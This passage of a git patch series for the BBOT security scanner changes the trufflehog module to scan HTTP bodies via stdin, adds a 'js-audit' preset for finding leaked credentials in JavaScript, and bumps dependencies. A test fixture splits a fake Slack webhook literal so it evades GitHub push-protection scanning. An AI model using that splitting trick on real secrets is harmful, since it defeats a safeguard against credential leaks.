From 02c1476bd74b895416241528e1de3b8a8c991e72 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 10 Jul 2026 13:09:20 -0400 Subject: [PATCH 001/256] trufflehog: stream HTTP body via stdin, include source url on findings --- bbot/modules/trufflehog.py | 36 ++++++++++-------- .../module_tests/test_module_trufflehog.py | 38 ++++++++++++++++++- 2 files changed, 57 insertions(+), 17 deletions(-) diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index 9254a63132..9c2f8c1dbe 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -86,6 +86,8 @@ async def handle_event(self, event): if isinstance(event.data, dict): description = event.data.get("description", "") + path = None + stdin_data = None if event.type == "CODE_REPOSITORY": path = event.url module = "github-experimental" @@ -100,12 +102,8 @@ async def handle_event(self, event): else: module = "filesystem" elif event.type in ("HTTP_RESPONSE", "RAW_TEXT"): - module = "filesystem" - file_data = event.raw_response if event.type == "HTTP_RESPONSE" else event.data - # write the response to a tempfile - # this is necessary because trufflehog doesn't yet support reading from stdin - # https://github.com/trufflesecurity/trufflehog/issues/162 - path = self.helpers.tempfile(file_data, pipe=False) + module = "stdin" + stdin_data = event.raw_response if event.type == "HTTP_RESPONSE" else event.data if event.type == "CODE_REPOSITORY": host = event.host @@ -118,7 +116,7 @@ async def handle_event(self, event): rawv2_result, verified, source_metadata, - ) in self.execute_trufflehog(module, path): + ) in self.execute_trufflehog(module, path=path, stdin_data=stdin_data): verified_str = "Verified" if verified else "Possible" confidence = "CONFIRMED" if verified else "MEDIUM" data = { @@ -127,6 +125,10 @@ async def handle_event(self, event): } if host: data["host"] = host + if event.type == "HTTP_RESPONSE": + url = event.data.get("url", "") + if url: + data["url"] = url data["severity"] = "HIGH" data["confidence"] = confidence @@ -142,11 +144,7 @@ async def handle_event(self, event): context=f'{{module}} searched {event.type} using "{module}" method and found {verified_str.lower()} secret ({{event.type}}): {raw_result}', ) - # clean up the tempfile when we're done with it - if event.type in ("HTTP_RESPONSE", "RAW_TEXT"): - path.unlink(missing_ok=True) - - async def execute_trufflehog(self, module, path=None, string=None): + async def execute_trufflehog(self, module, path=None, stdin_data=None): command = [ "trufflehog", "--json", @@ -169,6 +167,8 @@ async def execute_trufflehog(self, module, path=None, string=None): elif module == "filesystem": command.append("filesystem") command.append(path) + elif module == "stdin": + command.append("stdin") elif module == "github-experimental": command.append("github-experimental") command.append("--repo=" + path) @@ -176,10 +176,14 @@ async def execute_trufflehog(self, module, path=None, string=None): command.append("--delete-cached-data") command.append("--token=" + self.github_token) - stats_file = self.helpers.tempfile_tail(callback=partial(self.log_trufflehog_status, path)) + run_kwargs = {} + if stdin_data is not None: + run_kwargs["input"] = stdin_data + + stats_file = self.helpers.tempfile_tail(callback=partial(self.log_trufflehog_status, path or module)) try: with open(stats_file, "w") as stats_fh: - async for line in self.helpers.run_live(command, stderr=stats_fh): + async for line in self.run_process_live(command, stderr=stats_fh, **run_kwargs): try: j = json.loads(line) except json.decoder.JSONDecodeError: @@ -202,7 +206,7 @@ async def execute_trufflehog(self, module, path=None, string=None): finally: stats_file.unlink(missing_ok=True) - def log_trufflehog_status(self, path, line): + def log_trufflehog_status(self, target, line): try: line = json.loads(line) except Exception: @@ -211,5 +215,5 @@ def log_trufflehog_status(self, path, line): message = line.get("msg", "") ts = line.get("ts", "") status = f"Message: {message} | Timestamp: {ts}" - self.verbose(f"Current scan target: {path}") + self.verbose(f"Current scan target: {target}") self.verbose(status) diff --git a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py index 0e9ba6332a..bafa92d744 100644 --- a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py +++ b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py @@ -1328,7 +1328,11 @@ async def setup_before_prep(self, module_test): module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - assert any(e.type == "FINDING" for e in events) + findings = [e for e in events if e.type == "FINDING"] + assert findings, "trufflehog produced no FINDING for HTTP_RESPONSE with a secret" + assert all(f.data.get("url", "").startswith("http://127.0.0.1:8888") for f in findings), ( + "FINDING must carry the source URL of the HTTP_RESPONSE, not a tempfile path" + ) class TestTrufflehog_RAWText(ModuleTestBase): @@ -1357,3 +1361,35 @@ def check(self, module_test, events): # Trufflehog emits HIGH severity and MEDIUM confidence for possible secrets assert finding_events[0].data["severity"] == "HIGH" assert finding_events[0].data["confidence"] == "MEDIUM" + + +class TestTrufflehog_JSSecretURL(ModuleTestBase): + # A secret in a linked JS bundle must produce a FINDING whose url is the JS URL, + # not the HTML URL and not a tempfile path. + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "excavate", "trufflehog"] + config_overrides = { + "modules": {"trufflehog": {"only_verified": False}}, + "web": {"spider_distance": 1, "spider_depth": 1}, + } + + # Split the webhook literal so the source doesn't match GitHub's push-protection + # secret-scanning regex; assembled at runtime, trufflehog still detects it. + _slack_webhook = "https://hooks.slack.com/services/T7KJ4NLXR/B8QZ" + "2MP3V/xJ9vNqLpZ4dKcYm2XwRfBg7T" + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": ''}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/app.js"}, + respond_args={"response_data": f'const w = "{self._slack_webhook}";'}, + ) + + def check(self, module_test, events): + js_findings = [e for e in events if e.type == "FINDING" and "SlackWebhook" in e.data.get("description", "")] + assert js_findings, "trufflehog produced no SlackWebhook FINDING from linked JS" + assert all(f.data.get("url", "") == "http://127.0.0.1:8888/app.js" for f in js_findings), ( + f"FINDING must carry the JS URL, got: {[f.data.get('url') for f in js_findings]}" + ) From c84f89d4fc60581cd9c814c83914f83e331309cd Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 10 Jul 2026 13:09:20 -0400 Subject: [PATCH 002/256] add js-audit preset --- bbot/presets/web/js-audit.yml | 20 ++++++++++++++++++++ docs/scanning/presets_list.md | 33 +++++++++++++++++++++++++++++++++ 2 files changed, 53 insertions(+) create mode 100644 bbot/presets/web/js-audit.yml diff --git a/bbot/presets/web/js-audit.yml b/bbot/presets/web/js-audit.yml new file mode 100644 index 0000000000..a408f40786 --- /dev/null +++ b/bbot/presets/web/js-audit.yml @@ -0,0 +1,20 @@ +description: Hunt for leaked credentials and vulnerable libraries in client-side JavaScript + + +modules: + - http + - trufflehog + - badsecrets + - retirejs + - robots + - wayback + +config: + modules: + trufflehog: + only_verified: false + robots: + include_sitemap: true + wayback: + urls: true + archive: true diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index 9730d99381..7189eb3d68 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -199,6 +199,38 @@ Category: web Modules: [0]("") +## **js-audit** + +Hunt for leaked credentials and vulnerable libraries in client-side JavaScript + +??? note "`js-audit.yml`" + ```yaml title="~/.bbot/presets/web/js-audit.yml" + description: Hunt for leaked credentials and vulnerable libraries in client-side JavaScript + + + modules: + - http + - trufflehog + - badsecrets + - retirejs + - robots + - wayback + + config: + modules: + trufflehog: + only_verified: false + robots: + include_sitemap: true + wayback: + urls: true + archive: true + ``` + +Category: web + +Modules: [0]("") + ## **kitchen-sink** Everything everywhere all at once @@ -993,6 +1025,7 @@ Here is a the same data, but in a table: | email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 0 | | | fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | | iis-shortnames | web | Recursively enumerate IIS shortnames | 0 | | +| js-audit | web | Hunt for leaked credentials and vulnerable libraries in client-side JavaScript | 6 | badsecrets, http, retirejs, robots, trufflehog, wayback | | kitchen-sink | | Everything everywhere all at once | 7 | baddns, baddns_direct, baddns_zone, http, hunt, reflected_parameters, webbrute | | lightfuzz | web | Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs. | 6 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters | | lightfuzz-heavy | web | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. | 8 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters, robots, wayback | From 7786c8dc3d9e8dae841d7bb83056a7bcfe4ce02c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 20 Jul 2026 13:11:31 -0400 Subject: [PATCH 003/256] bump trufflehog _module_threads to 2 --- bbot/modules/trufflehog.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index 9c2f8c1dbe..3b54b01166 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -37,6 +37,7 @@ class Config(BaseModuleConfig): ] scope_distance_modifier = 2 + _module_threads = 2 async def setup_deps(self): self.config_file = self.config.get("config", "") From c53ef229ff84c2ed08a270c72a2e44c18bfebe8c Mon Sep 17 00:00:00 2001 From: blsaccess Date: Sat, 25 Jul 2026 00:42:34 +0000 Subject: [PATCH 004/256] Update trufflehog --- bbot/modules/trufflehog.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index 3b54b01166..8a7f542266 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -15,7 +15,7 @@ class trufflehog(BaseModule): } class Config(BaseModuleConfig): - version: str = Field("3.95.9", description="trufflehog version") + version: str = Field("3.96.0", description="trufflehog version") config: str = Field("", description="File path or URL to YAML trufflehog config") only_verified: bool = Field(True, description="Only report credentials that have been verified") concurrency: int = Field(8, description="Number of concurrent workers") From 7189a61e302c499d4ed92d9f0d9dd480e1175f42 Mon Sep 17 00:00:00 2001 From: blsaccess Date: Sun, 26 Jul 2026 03:42:10 +0000 Subject: [PATCH 005/256] [create-pull-request] automated change --- docs/scanning/configuration.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index cb9f9d1eba..ce5e3ec29c 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -679,7 +679,7 @@ In addition to the stated options for each module, the following universal optio | modules.trufflehog.config | str | File path or URL to YAML trufflehog config | | | modules.trufflehog.deleted_forks | bool | Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours. | False | | modules.trufflehog.only_verified | bool | Only report credentials that have been verified | True | -| modules.trufflehog.version | str | trufflehog version | 3.95.9 | +| modules.trufflehog.version | str | trufflehog version | 3.96.0 | | modules.urlscan.urls | bool | Emit URLs in addition to DNS_NAMEs | False | | modules.virustotal.api_key | str | list[str] | VirusTotal API Key | | | modules.wayback.archive | bool | fetch archived versions of dead URLs from the Wayback Machine and emit HTTP_RESPONSE events (requires urls=true) | False | From f36e375fbc00bcba7c1aed13d5ea23298a416b53 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 26 Jul 2026 04:42:54 +0000 Subject: [PATCH 006/256] Bump pre-commit from 4.6.0 to 4.6.1 Bumps [pre-commit](https://github.com/pre-commit/pre-commit) from 4.6.0 to 4.6.1. - [Release notes](https://github.com/pre-commit/pre-commit/releases) - [Changelog](https://github.com/pre-commit/pre-commit/blob/main/CHANGELOG.md) - [Commits](https://github.com/pre-commit/pre-commit/compare/v4.6.0...v4.6.1) --- updated-dependencies: - dependency-name: pre-commit dependency-version: 4.6.1 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 28432bc670..3681ed0d65 100644 --- a/uv.lock +++ b/uv.lock @@ -2020,7 +2020,7 @@ wheels = [ [[package]] name = "pre-commit" -version = "4.6.0" +version = "4.6.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "cfgv" }, @@ -2029,9 +2029,9 @@ dependencies = [ { name = "pyyaml" }, { name = "virtualenv" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/8e/22/2de9408ac81acbb8a7d05d4cc064a152ccf33b3d480ebe0cd292153db239/pre_commit-4.6.0.tar.gz", hash = "sha256:718d2208cef53fdc38206e40524a6d4d9576d103eb16f0fec11c875e7716e9d9", size = 198525, upload-time = "2026-04-21T20:31:41.613Z" } +sdist = { url = "https://files.pythonhosted.org/packages/25/3a/ddb78f32a0814e66b18a099377a106a2dcdce92d86a034d69d65df9b256e/pre_commit-4.6.1.tar.gz", hash = "sha256:03e809865c7d178b9979d06c761fcbfe6808fdaded8581a745bb110e52050421", size = 198646, upload-time = "2026-07-21T20:56:58.225Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/80/6e/4b28b62ecb6aae56769c34a8ff1d661473ec1e9519e2d5f8b2c150086b26/pre_commit-4.6.0-py2.py3-none-any.whl", hash = "sha256:e2cf246f7299edcabcf15f9b0571fdce06058527f0a06535068a86d38089f29b", size = 226472, upload-time = "2026-04-21T20:31:40.092Z" }, + { url = "https://files.pythonhosted.org/packages/fb/49/bc925106abcdac498074f2cbe6137e94e09f418dd2b7775df5b577dc0313/pre_commit-4.6.1-py2.py3-none-any.whl", hash = "sha256:0e3b2942510d1fb34eec167a3ec57331bf8442122f1153a9fb8b58f5c49b2717", size = 226186, upload-time = "2026-07-21T20:56:57.064Z" }, ] [[package]] From e51e2d99c189241917b5948715ed9d4dbcd99773 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 26 Jul 2026 04:43:05 +0000 Subject: [PATCH 007/256] Bump actions/setup-python from 6 to 7 in the github-actions group Bumps the github-actions group with 1 update: [actions/setup-python](https://github.com/actions/setup-python). Updates `actions/setup-python` from 6 to 7 - [Release notes](https://github.com/actions/setup-python/releases) - [Commits](https://github.com/actions/setup-python/compare/v6...v7) --- updated-dependencies: - dependency-name: actions/setup-python dependency-version: '7' dependency-type: direct:production update-type: version-update:semver-major dependency-group: github-actions ... Signed-off-by: dependabot[bot] --- .github/workflows/benchmark.yml | 2 +- .github/workflows/docs_updater.yml | 2 +- .github/workflows/tests.yml | 6 +++--- .github/workflows/version_updater.yml | 4 ++-- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/.github/workflows/benchmark.yml b/.github/workflows/benchmark.yml index a34b3f0e4c..6127df218f 100644 --- a/.github/workflows/benchmark.yml +++ b/.github/workflows/benchmark.yml @@ -25,7 +25,7 @@ jobs: fetch-depth: 0 # Need full history for branch comparison - name: Set up Python - uses: actions/setup-python@v6 + uses: actions/setup-python@v7 with: python-version: "3.11" diff --git a/.github/workflows/docs_updater.yml b/.github/workflows/docs_updater.yml index 1e307181ec..ee4e5253f9 100644 --- a/.github/workflows/docs_updater.yml +++ b/.github/workflows/docs_updater.yml @@ -14,7 +14,7 @@ jobs: token: ${{ secrets.BBOT_DOCS_UPDATER_PAT }} ref: dev # Checkout the dev branch - name: Set up Python - uses: actions/setup-python@v6 + uses: actions/setup-python@v7 with: python-version: "3.x" - name: Install uv diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index f5a828e7f2..12225e1b9e 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -21,7 +21,7 @@ jobs: steps: - uses: actions/checkout@v7 - name: Set up Python - uses: actions/setup-python@v6 + uses: actions/setup-python@v7 with: python-version: ${{ matrix.python-version }} - name: Set Python Version Environment Variable @@ -68,7 +68,7 @@ jobs: username: ${{ secrets.DOCKER_USERNAME }} password: ${{ secrets.DOCKER_PASSWORD }} - name: Set up Python - uses: actions/setup-python@v6 + uses: actions/setup-python@v7 with: python-version: "3.x" - name: Install uv @@ -228,7 +228,7 @@ jobs: - uses: actions/checkout@v7 with: token: ${{ secrets.BBOT_DOCS_UPDATER_PAT }} - - uses: actions/setup-python@v6 + - uses: actions/setup-python@v7 with: python-version: "3.11" - run: echo "cache_id=$(date --utc '+%V')" >> $GITHUB_ENV diff --git a/.github/workflows/version_updater.yml b/.github/workflows/version_updater.yml index 446788c328..d39cff0212 100644 --- a/.github/workflows/version_updater.yml +++ b/.github/workflows/version_updater.yml @@ -15,7 +15,7 @@ jobs: fetch-depth: 0 token: ${{ secrets.BBOT_DOCS_UPDATER_PAT }} - name: Set up Python - uses: actions/setup-python@v6 + uses: actions/setup-python@v7 with: python-version: '3.x' - name: Install dependencies @@ -67,7 +67,7 @@ jobs: fetch-depth: 0 token: ${{ secrets.BBOT_DOCS_UPDATER_PAT }} - name: Set up Python - uses: actions/setup-python@v6 + uses: actions/setup-python@v7 with: python-version: '3.x' - name: Install dependencies From 7987aeb43e421b142ec9e76a2d2cc1c4e6281d76 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 26 Jul 2026 04:43:09 +0000 Subject: [PATCH 008/256] Bump fastapi from 0.139.2 to 0.140.0 Bumps [fastapi](https://github.com/fastapi/fastapi) from 0.139.2 to 0.140.0. - [Release notes](https://github.com/fastapi/fastapi/releases) - [Commits](https://github.com/fastapi/fastapi/compare/0.139.2...0.140.0) --- updated-dependencies: - dependency-name: fastapi dependency-version: 0.140.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- uv.lock | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 7f1e110ca4..a77077d9ab 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -76,7 +76,7 @@ dev = [ "pytest>=8.3.1,<10", "pytest-asyncio==1.4.0", "uvicorn>=0.32,<0.50", - "fastapi>=0.115.5,<0.140.0", + "fastapi>=0.115.5,<0.141.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "baddns~=2.4.1", diff --git a/uv.lock b/uv.lock index 28432bc670..8d8a2b206d 100644 --- a/uv.lock +++ b/uv.lock @@ -299,7 +299,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [ { name = "baddns", specifier = "~=2.4.1" }, - { name = "fastapi", specifier = ">=0.115.5,<0.140.0" }, + { name = "fastapi", specifier = ">=0.115.5,<0.141.0" }, { name = "maturin", specifier = ">=1.4,<2" }, { name = "pre-commit", specifier = ">=3.4,<5.0" }, { name = "pytest", specifier = ">=8.3.1,<10" }, @@ -1149,7 +1149,7 @@ wheels = [ [[package]] name = "fastapi" -version = "0.139.2" +version = "0.140.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "annotated-doc" }, @@ -1158,9 +1158,9 @@ dependencies = [ { name = "typing-extensions" }, { name = "typing-inspection" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/cd/95/d3f0ae10836324a2eab98a52b61210ac609f08200bf4bb0dc8132d32f78a/fastapi-0.139.2.tar.gz", hash = "sha256:333145a6891e9b5b3cfceb69baf817e8240cde4d4588ae5a10bf56ffacb6255e", size = 423428, upload-time = "2026-07-16T15:06:17.912Z" } +sdist = { url = "https://files.pythonhosted.org/packages/0d/fb/fd7671137d9fa3df1d93a2f5111eb982709201724b29f211e4beb2d58688/fastapi-0.140.0.tar.gz", hash = "sha256:f338951b82fd74ca8f843163aec43ea1a1ce84d515415a50fa98fa25572a5544", size = 420968, upload-time = "2026-07-24T21:16:41.187Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/5f/c7/cb03251d9dfb177246a9809a76f189d21df32dbd4a845951881d11323b7f/fastapi-0.139.2-py3-none-any.whl", hash = "sha256:b9ad015a835173d59865e2f5d8296fbc2b317bf56a2ba1a5bfbdd03de2fd4b1c", size = 130234, upload-time = "2026-07-16T15:06:19.557Z" }, + { url = "https://files.pythonhosted.org/packages/eb/76/6d9e25ad88da9d3ff744bcdbec4736e38c2288611d43f673a5d9bfa27c07/fastapi-0.140.0-py3-none-any.whl", hash = "sha256:e951c0a0d9540bf5d9a2a9e078fd415da2ab7e312d435139e7d9e2e7fe9f0b23", size = 130863, upload-time = "2026-07-24T21:16:42.89Z" }, ] [[package]] From f2824154380e1c1cb74380e35f51955125386775 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 26 Jul 2026 04:43:19 +0000 Subject: [PATCH 009/256] Bump pytest-env from 1.6.0 to 1.7.0 Bumps [pytest-env](https://github.com/pytest-dev/pytest-env) from 1.6.0 to 1.7.0. - [Release notes](https://github.com/pytest-dev/pytest-env/releases) - [Commits](https://github.com/pytest-dev/pytest-env/compare/1.6.0...1.7.0) --- updated-dependencies: - dependency-name: pytest-env dependency-version: 1.7.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- uv.lock | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 7f1e110ca4..a1c9085335 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -67,7 +67,7 @@ bbot = "bbot.cli:main" dev = [ "urllib3>=2.0.2,<3", "werkzeug>=2.3.4,<4.0.0", - "pytest-env>=0.8.2,<1.7.0", + "pytest-env>=0.8.2,<1.8.0", "pre-commit>=3.4,<5.0", "pytest-cov>=5,<8", "pytest-rerunfailures>=14,<17", diff --git a/uv.lock b/uv.lock index 28432bc670..f6282480b3 100644 --- a/uv.lock +++ b/uv.lock @@ -306,7 +306,7 @@ dev = [ { name = "pytest-asyncio", specifier = "==1.4.0" }, { name = "pytest-benchmark", specifier = ">=4,<6" }, { name = "pytest-cov", specifier = ">=5,<8" }, - { name = "pytest-env", specifier = ">=0.8.2,<1.7.0" }, + { name = "pytest-env", specifier = ">=0.8.2,<1.8.0" }, { name = "pytest-httpserver", specifier = ">=1.0.11,<2" }, { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, @@ -2368,16 +2368,16 @@ wheels = [ [[package]] name = "pytest-env" -version = "1.6.0" +version = "1.7.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "pytest" }, { name = "python-dotenv" }, { name = "tomli", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/ff/69/4db1c30625af0621df8dbe73797b38b6d1b04e15d021dd5d26a6d297f78c/pytest_env-1.6.0.tar.gz", hash = "sha256:ac02d6fba16af54d61e311dd70a3c61024a4e966881ea844affc3c8f0bf207d3", size = 16163, upload-time = "2026-03-12T22:39:43.78Z" } +sdist = { url = "https://files.pythonhosted.org/packages/65/49/08ee056f9cc655e437abcf2ae399884844b623223476ae6a77244131db03/pytest_env-1.7.0.tar.gz", hash = "sha256:0c1dc1101fb8d3ab3611e8f8d657ba06c3c0c167fc85c90457e5b27f2508f43e", size = 16408, upload-time = "2026-07-21T13:09:21.834Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/27/16/ad52f56b96d851a2bcfdc1e754c3531341885bd7177a128c13ff2ca72ab4/pytest_env-1.6.0-py3-none-any.whl", hash = "sha256:1e7f8a62215e5885835daaed694de8657c908505b964ec8097a7ce77b403d9a3", size = 10400, upload-time = "2026-03-12T22:39:41.887Z" }, + { url = "https://files.pythonhosted.org/packages/3e/fc/9f2975c41d41bf5bd9a7d0fc03085ec20052b456b079df53828ae4a1b100/pytest_env-1.7.0-py3-none-any.whl", hash = "sha256:9ee0f1fe859d23fcdb533fe2909a404b3b133d02674a56df275bbe4df4eb104b", size = 10263, upload-time = "2026-07-21T13:09:20.677Z" }, ] [[package]] From 7d958c267d09d2e16b8bc8327645026d96ab0238 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 26 Jul 2026 04:43:32 +0000 Subject: [PATCH 010/256] Bump mmh3 from 5.2.0 to 5.2.1 Bumps [mmh3](https://github.com/hajimes/mmh3) from 5.2.0 to 5.2.1. - [Release notes](https://github.com/hajimes/mmh3/releases) - [Changelog](https://github.com/hajimes/mmh3/blob/master/CHANGELOG.md) - [Commits](https://github.com/hajimes/mmh3/compare/v5.2.0...v5.2.1) --- updated-dependencies: - dependency-name: mmh3 dependency-version: 5.2.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- uv.lock | 218 ++++++++++++++++++++++++++++---------------------------- 1 file changed, 110 insertions(+), 108 deletions(-) diff --git a/uv.lock b/uv.lock index 28432bc670..745b9657fc 100644 --- a/uv.lock +++ b/uv.lock @@ -1743,114 +1743,116 @@ wheels = [ [[package]] name = "mmh3" -version = "5.2.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/a7/af/f28c2c2f51f31abb4725f9a64bc7863d5f491f6539bd26aee2a1d21a649e/mmh3-5.2.0.tar.gz", hash = "sha256:1efc8fec8478e9243a78bb993422cf79f8ff85cb4cf6b79647480a31e0d950a8", size = 33582, upload-time = "2025-07-29T07:43:48.49Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/b9/2b/870f0ff5ecf312c58500f45950751f214b7068665e66e9bfd8bc2595587c/mmh3-5.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:81c504ad11c588c8629536b032940f2a359dda3b6cbfd4ad8f74cb24dcd1b0bc", size = 56119, upload-time = "2025-07-29T07:41:39.117Z" }, - { url = "https://files.pythonhosted.org/packages/3b/88/eb9a55b3f3cf43a74d6bfa8db0e2e209f966007777a1dc897c52c008314c/mmh3-5.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0b898cecff57442724a0f52bf42c2de42de63083a91008fb452887e372f9c328", size = 40634, upload-time = "2025-07-29T07:41:40.626Z" }, - { url = "https://files.pythonhosted.org/packages/d1/4c/8e4b3878bf8435c697d7ce99940a3784eb864521768069feaccaff884a17/mmh3-5.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:be1374df449465c9f2500e62eee73a39db62152a8bdfbe12ec5b5c1cd451344d", size = 40080, upload-time = "2025-07-29T07:41:41.791Z" }, - { url = "https://files.pythonhosted.org/packages/45/ac/0a254402c8c5ca424a0a9ebfe870f5665922f932830f0a11a517b6390a09/mmh3-5.2.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b0d753ad566c721faa33db7e2e0eddd74b224cdd3eaf8481d76c926603c7a00e", size = 95321, upload-time = "2025-07-29T07:41:42.659Z" }, - { url = "https://files.pythonhosted.org/packages/39/8e/29306d5eca6dfda4b899d22c95b5420db4e0ffb7e0b6389b17379654ece5/mmh3-5.2.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:dfbead5575f6470c17e955b94f92d62a03dfc3d07f2e6f817d9b93dc211a1515", size = 101220, upload-time = "2025-07-29T07:41:43.572Z" }, - { url = "https://files.pythonhosted.org/packages/49/f7/0dd1368e531e52a17b5b8dd2f379cce813bff2d0978a7748a506f1231152/mmh3-5.2.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7434a27754049144539d2099a6d2da5d88b8bdeedf935180bf42ad59b3607aa3", size = 103991, upload-time = "2025-07-29T07:41:44.914Z" }, - { url = "https://files.pythonhosted.org/packages/35/06/abc7122c40f4abbfcef01d2dac6ec0b77ede9757e5be8b8a40a6265b1274/mmh3-5.2.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cadc16e8ea64b5d9a47363013e2bea469e121e6e7cb416a7593aeb24f2ad122e", size = 110894, upload-time = "2025-07-29T07:41:45.849Z" }, - { url = "https://files.pythonhosted.org/packages/f4/2f/837885759afa4baccb8e40456e1cf76a4f3eac835b878c727ae1286c5f82/mmh3-5.2.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d765058da196f68dc721116cab335e696e87e76720e6ef8ee5a24801af65e63d", size = 118327, upload-time = "2025-07-29T07:41:47.224Z" }, - { url = "https://files.pythonhosted.org/packages/40/cc/5683ba20a21bcfb3f1605b1c474f46d30354f728a7412201f59f453d405a/mmh3-5.2.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8b0c53fe0994beade1ad7c0f13bd6fec980a0664bfbe5a6a7d64500b9ab76772", size = 101701, upload-time = "2025-07-29T07:41:48.259Z" }, - { url = "https://files.pythonhosted.org/packages/0e/24/99ab3fb940150aec8a26dbdfc39b200b5592f6aeb293ec268df93e054c30/mmh3-5.2.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:49037d417419863b222ae47ee562b2de9c3416add0a45c8d7f4e864be8dc4f89", size = 96712, upload-time = "2025-07-29T07:41:49.467Z" }, - { url = "https://files.pythonhosted.org/packages/61/04/d7c4cb18f1f001ede2e8aed0f9dbbfad03d161c9eea4fffb03f14f4523e5/mmh3-5.2.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:6ecb4e750d712abde046858ee6992b65c93f1f71b397fce7975c3860c07365d2", size = 110302, upload-time = "2025-07-29T07:41:50.387Z" }, - { url = 